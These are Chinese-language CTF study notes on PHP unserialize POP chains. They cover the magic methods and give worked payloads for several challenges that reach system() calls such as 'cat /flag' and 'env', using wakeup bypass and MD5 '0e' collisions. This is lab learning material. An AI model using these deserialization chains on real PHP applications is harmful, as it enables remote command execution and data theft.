目录
[HZNUCTF 2023 preliminary]ppppop
魔术方法:
__call 触发条件:当前对象调用一个不存在的方法时,就会被触发。
__get触发条件:当前对象试图引用一个难以达到的成员属性的时候自动触发 。
call_user_func : 把第一个参数作为回调函数调用。
__tostring:
//对象转字符串方法 //要求只能返回字符串类型的数据 public function __toString(){ //将需要输出的对象的属性返回即可 //组织语言进行输出(控制属性的输出) $person = new Person('周芷若',15); //var_dump($person); //echo $person; //对象不能被当做字符串输出 //需求:echo 对象,输出对象里面的所有属性(所有的属性连接成一个字符串) echo $person;
call_user_func和call_user_func_array的区别PHP函数call_user_func和call_user_func_array详解 - 简书
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 对不存在的方法或者不可访问的方法进行调用就自动调用
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
魔术方法的触发只能在当前函数!!
BeginCTF_POPgadget
原码:
<?php highlight_file(__FILE__); class Fun{ private $func = 'call_user_func_array'; public function __call($f,$p){ call_user_func($this->func,$f,$p); } } class Test{ public function __call($f,$p){ echo getenv("FLAG"); } public function __wakeup(){ echo "serialize me?"; } } class A { public $a; public function __get($p){ if(preg_match("/Test/",get_class($this->a))){ return "No test in Prod\n"; } return $this->a->$p(); } } class B { public $p; public function __destruct(){ $p = $this->p; echo $this->a->$p; } } if(isset($_REQUEST['begin'])){ unserialize($_REQUEST['begin']); } ?>
WP:
<?php class Fun{ private $func = 'system'; public function ___call($f,$p){ call_user_func($this->func,$f,$p); } } class A { public $a; public function __get($p){ if(preg_match("/Test/",get_class($this->a))){ return "No test in Prod\n"; } return $this->a->$p(); } } class B { public $p; public $a; public function __destruct(){ $p = $this->p; echo $this->a->$p; } } $bb = new B(); $aa = new A(); $F = new Fun();//实例化 //链子 $bb->a = $aa;//可以访问a,但是需要自定义一个public $a; 访问不存在的属性触发__get() $aa->a = $F;//访问FUN类里不存在的方法,触发__call() $bb->p = 'printenv';//或者env (linux下的命令),向call_user_func(fun类)的$p传递system命令参数 echo urlencode(serialize($bb)); ?>
官方WP:
<?php
class Fun{
private $func;
public function __construct(){
$this->func = array(new Test,"__call");
}
}
class Test{
}
class A {
public $a;
public function __construct($a){
$this->a = $a;
}
}
class B {
public $p = "aaa";
}
$a = new B();
$b = new A(new Fun());
$a->a = $b;
echo urlencode(serialize($a));
?>
NSSCTF_POP
<?php error_reporting(0); show_source("index.php"); class w44m{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } } $w00m = $_GET['w00m']; unserialize($w00m); ?>
错误poc:
<?php class w44m{ private $admin = 'w44m'; protected $passwd = '08067'; public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } } //实例化 $w2=new w22m(); $w3=new w33m(); $w4=new w44m(); $w2->w00m=$w3; $w3->w00m=$w3; $w3->w22m='w33m'; echo urlencode(serialize($w2)); ?>
正确的POC
<?php class w44m{ private $admin = 'w44m'; protected $passwd = '08067'; } class w22m{ public $w00m; } class w33m{ public $w00m; public $w22m; } //实例化 $w2=new w22m(); $w3=new w33m(); $w4=new w44m(); $w2->w00m=$w3;//从destruct开始顺理成章来到w33m里 $w3->w00m=$w4;//来到w44m类里面,方便下一步访问。但是我需要触发tostring,利用下一步方法 $w3->w22m='Getflag';//访问w44m里的方法Getflag字符串 触发to_string echo urlencode(serialize($w2)); ?>
[NISACTF 2022]_[nisactf 2022]bqt-CSDN博客
popchain POC
<?php class Road_is_Long{ public $page; public $string; } class Try_Work_Hard{ protected $var='/flag'; } class Make_a_Change{ public $effort; } $r=new Road_is_Long; $t=new Try_Work_Hard; $m=new Make_a_Change; $r->page=$r;//触发正则进行匹配,page类对象会被解析成字符串去匹配正则,触发tostring $r->string=$m;//m类里面没有page这个属性,此时的page会被自动认为是属性/方法,而不是类,触发get $m->effort=$t;//将对象当成函数,此时触发当前对象下的invoke,最后include('/flag'); echo urlencode(serialize($r)); ?>
[SWPUCTF 2022 新生赛]ez_1zpop
知识点提前介绍:
0e绕过
md5相等及碰撞绕过_md5强等于绕过-CSDN博客^v99^pc_search_result_base2&utm_term=md5%E7%9B%B8%E7%AD%89%E7%9A%84%E4%B8%8D%E5%90%8C%E5%AD%97%E7%AC%A6%E4%B8%B2&spm=1018.2226.3001.4187
第一步:把没必要的代码删除
小经验:__construct函数在反序列化题直接删掉,它只在初始化时生效
dxg对象是没有价值信息,删掉
源码:
<?php
error_reporting(0);
class dxg
{
function fmm()
{
return "nonono";
}
}
class lt
{
public $impo='hi';
public $md51='weclome';
public $md52='to NSS';
function __construct()
{
$this->impo = new dxg;
}
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}
function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct()
{
echo $this;
}
}
class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}
if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}
处理后:
class lt{ public $impo = 'hi'; public $md51 = 'weclome'; public $md52 = 'to NSS'; function __wakeup(){ $this->impo = new dxg; return $this->impo->fmm(); } function __toString(){ if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52) return $this->impo->fmm(); } function __destruct(){ echo $this; } }
class fin{ public $a; public $url = 'https://www.ctfer.vip'; public $title; function fmm(){ $b = $this->a; $b($this->title); } }
分析:
fin对象
fmm方法通过给b赋值后,当函数调用,如果给b赋值后,当函数调用,如果给b=‘system’
title再传入我们想要的命令
最后就可得到例,system(‘ls’) => a='system';a=′syste**m′;title=‘目标命令’
lt对象
反序列化触发wakeup,destruct,wakeup方法中,给impo实例一个dxg对象,并直接return,无法获取有效信息,绕过wakeup的方法很简单,只需要将反序列化后的字符串,将对象属性数量改大,如,O:3:“fin”:3:{s:1:“a”;N;s:3:“url”;N;s:5:“title”;N;} => O:3:“fin”:4:{s:1:“a”;N;s:3:“url”;N;s:5:“title”;N;}
destruct方法触发就很简单了,将自己当字符串输出,直接触发toString方法,返回fmm方法
(isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52) // isset() 判断是否配置impo // md5($this->md51) == md5($this->md52) 弱等于 // s155964671a =md5=> 0e342768416822451524974117254469 // s214587387a =md5=> 0e848240448830537924465865611904
构造:
<?php class lt { public $impo=''; public $md51='s1885207154a'; public $md52='s1836677006a';//0e绕过 } class fin { public $a='system'; public $title='cat /flag'; } //实例化 $lt=new lt(); $fin=new fin(); //链子: $lt->impo=$fin; echo urlencode(serialize($lt)); ?>记得绕过wakeup
MD5值 md5("s1885207154a") => 0e509367213418206700842008763514 md5("s1836677006a") => 0e481036490867661113260034900752
[HZNUCTF 2023 preliminary]ppppop
有关setcookies:https://www.cnblogs.com/xingmeng/p/3376027.html
bp抓包修改set-cookie
pop链错误构造
strrev()函数:返回一个新的字符串,其中的原始字符串被反转了。
解密后反转,所以要反转后加密获取post值(剥洋葱)
<?php class A { public $className; public $funcName; public $args; } class B { public function __call($func, $arg) { $func($arg[0]); } } $aa=new A; //实例化 $aa->className='B'; $aa->funcName='system'; $aa->args='env'; echo urlencode(base64_encode(strrev(serialize($aa)))); ?>
修改set-cookie 0变1得到源代码;
参考: